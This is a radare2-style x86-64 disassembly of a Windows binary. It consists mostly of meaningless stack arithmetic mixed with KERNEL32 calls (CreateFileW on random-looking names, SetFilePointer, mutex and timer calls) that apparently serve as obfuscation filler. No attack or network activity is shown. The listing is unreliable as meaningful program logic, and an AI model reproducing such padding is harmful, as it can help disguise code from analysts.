mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a80], rax
mov rax, qword [0x14022bca0]
mov rcx, qword [rsp + 0xa4b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa9d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce28]
mov qword [rsp + 0xced8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xced8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7a58], rax
mov rax, qword [rsp + 0xa580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ad4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a24], eax
mov eax, dword [rsp + 0x4120]
mov dword [rsp + 0x4ce4], eax
movzx eax, byte [rsp + 0x35b]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9d40]
mov byte [rcx], al
mov rax, qword [rsp + 0xb730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa0f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0xb570]
movzx eax, word [rax]
mov word [0x14022bfd8], ax
movsx eax, word [rsp + 0x1dec]
movsx ecx, word [rsp + 0xfa8]
and eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xc7e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
lea rax, [rsp + 0x1f98]
mov qword [rsp + 0xcee0], rax
mov rax, qword [rsp + 0xc198]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa028]
mov dword [rcx], eax
lea rax, [rsp + 0x8128]
mov qword [rsp + 0xcee8], rax
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x121]
add eax, ecx
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb680]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc8f0]
mov word [rcx], ax
lea rax, [0x14022b914]
mov qword [rsp + 0xcef0], rax
mov rax, qword [rsp + 0xb500]
mov rcx, qword [rsp + 0x9d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022bf38]
mov qword [rcx], rax
lea rcx, [rsp + 0xcef8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x7fd8]
mov rcx, qword [rsp + 0xcb88]
mov qword [rsp + 0xcf00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf00]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xcba0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb098]
mov rax, qword [rax]
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0xc058]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc458]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2064]
movzx ecx, word [rsp + 0x1eac]
or eax, ecx
mov rcx, qword [rsp + 0xa7b8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x77ac
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b4c], eax
movzx eax, byte [rsp + 0x377]
mov byte [rsp + 0x3ee], al
mov eax, dword [rsp + 0x49b8]
mov ecx, dword [rsp + 0x4744]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9998]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2c8]
mov ecx, dword [rsp + 0x3e04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c48], eax
mov rcx, qword [rsp + 0x9708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0xab48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xb1c8]
movzx eax, byte [rax]
mov byte [0x14022b817], al
movsx eax, word [rsp + 0x18dc]
mov rcx, qword [rsp + 0xb8a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19fc], ax
mov rax, qword [rsp + 0xbf78]
movzx eax, word [rax]
mov word [rsp + 0x210c], ax
movzx eax, word [rsp + 0x2050]
mov rcx, qword [rsp + 0xca88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcb80]
mov word [rcx], ax
lea rax, [rsp + 0xc800]
mov qword [rsp + 0xcf10], rax
mov eax, dword [rsp + 0x4a1c]
mov ecx, dword [0x14022a000]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3da8], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xbf80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9360], rax
movsx eax, byte [rsp + 0x37e]
movsx ecx, byte [0x14022b810]
and eax, ecx
mov byte [rsp + 0x3c7], al
movsx eax, word [rsp + 0x1dc8]
mov rcx, qword [rsp + 0xb8f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb700]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.D8Ym0I5kw9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcf18], rax
movzx eax, word [rsp + 0x1214]
movzx ecx, word [rsp + 0x1cf8]
sar eax, cl
mov rcx, qword [0x14022bfd0]
mov word [rcx], ax
mov rax, qword [0x14022b920]
mov rax, qword [rax]
mov qword [rsp + 0xcf20], rax
movzx eax, word [rsp + 0xa58]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
lea rcx, [rsp + 0xcef8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx eax, byte [rsp + 0x37d]
mov byte [rsp + 0x3ef], al
mov rax, qword [rsp + 0xbc38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4be4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae48]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x3cc]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0xa600]
mov rcx, qword [0x14022a048]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8598], rax
mov rax, qword [rsp + 0xa3a0]
mov ecx, dword [rsp + 0x491c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbf98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4a0]
movzx eax, word [rax]
mov word [rsp + 0x2110], ax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022a180], ax
mov rax, qword [rsp + 0xa4b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce90]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8c8], rax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc620]
mov qword [rsp + 0xcf28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf28]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc5f8], rax
lea rax, [0x140229fd0]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1508]
sub eax, ecx
mov rcx, qword [rsp + 0xb800]
mov word [rcx], ax
mov rax, qword [rsp + 0xc810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x286], al
mov rax, qword [rsp + 0xadb8]
mov ecx, dword [rsp + 0x4834]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcd60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0x7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a70], rax
mov rax, qword [0x14022bb98]
mov rax, qword [rax]
mov qword [rsp + 0xcf38], rax
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d80]
add eax, ecx
mov word [0x14022bc98], ax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd30]
or eax, ecx
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0xcf40], rax
mov rax, qword [rsp + 0xcdb0]
mov ecx, dword [rsp + 0x41b4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3dcc], eax
mov rax, qword [rsp + 0xba10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc620]
mov qword [rsp + 0xcf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x88b8], rax
lea rcx, [rsp + 0xc438]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.Uzq5atbphF9N3uJg7nfFGS839Rzer1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcf50], rax
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb930]
mov qword [rsp + 0xcf58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0xbff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x389]
sub eax, ecx
mov byte [rsp + 0x3cb], al
lea rax, [0x14022bae4]
mov qword [rsp + 0xcf60], rax
movsx eax, word [rsp + 0x1134]
mov rcx, qword [rsp + 0xc0d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ea4]
add eax, ecx
mov rcx, qword [0x14022ba30]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r9d, 1
xor r8d, r8d
mov edx, 0xfda8
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c60], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.YH4qscL9eVHD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcf68], rax
lea rax, [rsp + 0x6f28]
mov qword [rsp + 0xcf70], rax
lea rcx, [rsp + 0xbb28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x202c]
mov rcx, qword [rsp + 0xc7a8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb410]
mov word [rcx], ax
movsx eax, word [rsp + 0xc34]
movsx ecx, word [rsp + 0x1fd0]
sar eax, cl
mov word [rsp + 0x1e2c], ax
mov rax, qword [0x14022bbd8]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xb508]
mov rcx, qword [rsp + 0x7e28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9430], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, byte [rsp + 0x38f]
mov byte [rsp + 0x3f0], al
mov eax, dword [rsp + 0x474c]
mov ecx, dword [rsp + 0x477c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a84], eax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3d0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc9d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov qword [0x14022bfe0], rax
lea rdx, [rsp + 0x4ce8]
mov rcx, qword [rsp + 0xcf68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c9c], eax
lea rax, [rsp + 0x488c]
mov qword [rsp + 0xcf80], rax
movzx eax, byte [rsp + 0x2f0]
mov rcx, qword [rsp + 0xbd48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3a9], al
movsx eax, word [rsp + 0x1930]
movsx ecx, word [rsp + 0x1f2c]
or eax, ecx
mov word [rsp + 0x1b98], ax
lea rcx, [rsp + 0x9b40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [0x140229ff4]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe78]
mov eax, dword [rax]
mov dword [rsp + 0x4cec], eax
movsx eax, byte [rsp + 0x3d6]
movsx ecx, byte [rsp + 0x39f]
sub eax, ecx
mov rcx, qword [rsp + 0xa408]
mov byte [rcx], al
mov rax, qword [0x14022bc00]
mov rcx, qword [rsp + 0x7490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbb30]
mov qword [rcx], rax
movsx eax, word [rsp + 0x948]
mov rcx, qword [rsp + 0xbf78]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19dc], ax
lea rax, [rsp + 0x1e4c]
mov qword [0x14022bfe8], rax
mov rax, qword [0x14022bcd0]
mov rcx, qword [rsp + 0xcda0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0xcd40]
mov qword [rsp + 0xcf88], rax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [0x14022bb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0xbee8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f20], ax
lea rax, [rsp + 0x89f8]
mov qword [rsp + 0xcf90], rax
mov rax, qword [rsp + 0xaa50]
mov rcx, qword [rsp + 0xc390]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0xbf40]
movzx eax, byte [rax]
mov byte [rsp + 0x3f1], al
mov rax, qword [rsp + 0xcdb0]
mov rcx, qword [rsp + 0x9fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf40]
movzx eax, byte [rax]
movzx ecx, byte [0x140229f1d]
and eax, ecx
mov byte [rsp + 0x202], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov r9d, 2
xor r8d, r8d
mov edx, 0x1b01
mov rcx, qword [rsp + 0xb8e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d30]
xor eax, ecx
mov rcx, qword [0x14022b9e8]
mov word [rcx], ax
mov r9d, 0x1671
xor r8d, r8d
lea rdx, [rsp + 0xae90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b9c], eax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xe38]
mov qword [rsp + 0xcf98], rax
movzx eax, word [rsp + 0x1ce0]
movzx ecx, word [rsp + 0x202c]
or eax, ecx
mov word [rsp + 0x1a64], ax
mov rax, qword [rsp + 0x8f98]
movzx ecx, al
mov rax, qword [rsp + 0x9418]
shl rax, cl
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0xce38]
mov qword [rsp + 0xcfa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfa0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb808]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4300]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.WUDvJt0JdBUk7yFF1kVAZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xb250]
movzx eax, byte [rax]
mov byte [rsp + 0x3f2], al
movsx eax, word [rsp + 0x894]
movsx ecx, word [rsp + 0x1e90]
add eax, ecx
mov rcx, qword [rsp + 0xc738]
mov word [rcx], ax
mov rax, qword [rsp + 0xb6f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcc30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb0], ax
lea rax, [rsp + 0x96d0]
mov qword [0x14022bff0], rax
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov word [rcx], ax
lea rdx, [rsp + 0x470c]
mov rcx, qword [rsp + 0xbf50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4848], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xcad0]
mov qword [rsp + 0xcfb0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.YP_nrlG5QQEK9fnWmFXWojwn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcfb8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rdx, [rsp + 0x47f0]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c18], eax
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xb530]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc708], rax
mov rax, qword [rsp + 0xacb0]
mov ecx, dword [0x14022a13c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc608]
mov dword [rcx], eax
lea rax, [rsp + 0x211]
mov qword [rsp + 0xcfc0], rax
mov eax, dword [rsp + 0x3ac8]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcfc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfc8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb470]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x302]
mov byte [rsp + 0x3f3], al
lea rcx, [rsp + 0xcfd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbce0]
mov rcx, qword [rsp + 0x8c58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf80], rax
movsx eax, word [rsp + 0xb58]
mov rcx, qword [rsp + 0xb018]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022bf6c], ax
movsx eax, word [0x14022bdec]
movsx ecx, word [rsp + 0x9f8]
and eax, ecx
mov rcx, qword [rsp + 0x9f90]
mov word [rcx], ax
movzx eax, word [rsp + 0x20e4]
mov rcx, qword [rsp + 0xbf60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1258], ax
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [0x14022bdf8]
or eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0xb598]
movzx eax, byte [rax]
mov byte [rsp + 0x3f4], al
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xac38]
mov qword [rsp + 0xcfd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfd8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xaff8]
mov rcx, qword [rsp + 0xcb30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbbc0], rax
lea rax, [rsp + 0x1d04]
mov qword [rsp + 0xcfe0], rax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d78]
sar eax, cl
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
mov rax, qword [rsp + 0xb6b0]
mov rcx, qword [0x14022a030]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140229fa0], rax
mov rax, qword [rsp + 0xcf70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7168], rax
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa938]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7820], rax
mov rax, qword [rsp + 0x7540]
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1874]
sub eax, ecx
mov rcx, qword [rsp + 0x9e90]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e0]
and eax, ecx
mov byte [rsp + 0x3b4], al
mov eax, dword [rsp + 0x3fdc]
movzx ecx, al
mov eax, dword [rsp + 0x441c]
sar eax, cl
mov dword [rsp + 0x4344], eax
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [rsp + 0x277]
or eax, ecx
mov rcx, qword [rsp + 0xc250]
mov byte [rcx], al
mov eax, dword [0x140229f2c]
mov dword [rsp + 0x4cf4], eax
mov rax, qword [rsp + 0xbc50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca20]
xor rcx, rax
mov rax, rcx
mov qword [0x14022a188], rax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0xc218]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1380], ax
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1da8]
mov rcx, qword [rsp + 0xb278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
lea rdx, [rsp + 0x4cf8]
mov rcx, qword [rsp + 0xb970]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a38], eax
movzx eax, word [rsp + 0x1d78]
mov word [rsp + 0x2114], ax
mov rax, qword [rsp + 0x8820]
mov rcx, qword [rsp + 0xcfe8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbc8]
mov qword [rcx], rax
lea rax, [rsp + 0x6f88]
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xa220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b0c], eax
movsx eax, byte [rsp + 0x3bc]
mov rcx, qword [rsp + 0xa730]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb250]
mov byte [rcx], al
lea rax, [rsp + 0x1380]
mov qword [rsp + 0xcff8], rax
movzx eax, word [rsp + 0x20d8]
mov rcx, qword [rsp + 0xade0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022ba88]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc48]
mov rcx, qword [rsp + 0x9ba0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb8c8], rax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d1c]
and eax, ecx
mov word [rsp + 0xb54], ax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov r9d, 0x2445
xor r8d, r8d
lea rdx, [rsp + 0xc440]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bb4], eax
mov rax, qword [rsp + 0xb2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x396]
sub eax, ecx
mov byte [rsp + 0x3db], al
mov eax, dword [rsp + 0x47c0]
movzx ecx, al
mov eax, dword [rsp + 0x3dc8]
sar eax, cl
mov rcx, qword [rsp + 0xa550]
mov dword [rcx], eax
lea rax, [rsp + 0x7158]
mov qword [rsp + 0xd000], rax
lea rcx, [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa408]
movsx eax, byte [rax]
mov rcx, qword [0x14022bab8]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x35a], al
lea rdx, [rsp + 0x48f8]
mov rcx, qword [rsp + 0xbd70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c80], eax
mov rax, qword [rsp + 0xb928]
mov eax, dword [rax]
mov dword [rsp + 0x4cfc], eax
mov rax, qword [rsp + 0xc2e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xccb0]
movzx eax, word [rax]
mov word [0x14022bff8], ax
lea rax, [rsp + 0xce18]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0xb658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa078], rax
movsx eax, word [rsp + 0x1b9c]
mov rcx, qword [rsp + 0xbf78]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x206c], ax
movzx eax, word [0x14022b8d0]
mov rcx, qword [rsp + 0xc7d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x920], ax
mov rax, qword [rsp + 0xa868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc3e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcaa8]
mov byte [rcx], al
lea rax, [rsp + 0x45a0]
mov qword [rsp + 0xd018], rax
mov rax, qword [rsp + 0xca80]
mov rcx, qword [rsp + 0xc1f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb508], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x852a
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d00], eax
mov r9d, 0x2663
xor r8d, r8d
lea rdx, [rsp + 0xbdc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4648], eax
mov rax, qword [rsp + 0xbc48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaf90]
sar rax, cl
mov rcx, qword [rsp + 0x9be8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1de4]
mov rcx, qword [rsp + 0xafc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022b960]
mov word [rcx], ax
lea rax, [rsp + 0xb24]
mov qword [rsp + 0xd020], rax
mov eax, dword [rsp + 0x3a9c]
mov ecx, dword [rsp + 0x4758]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48bc], eax
mov rax, qword [rsp + 0xbda8]
movzx eax, byte [rax]
mov byte [rsp + 0x3f5], al
mov rax, qword [rsp + 0xabb8]
mov rcx, qword [rsp + 0xc938]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x76b0], rax
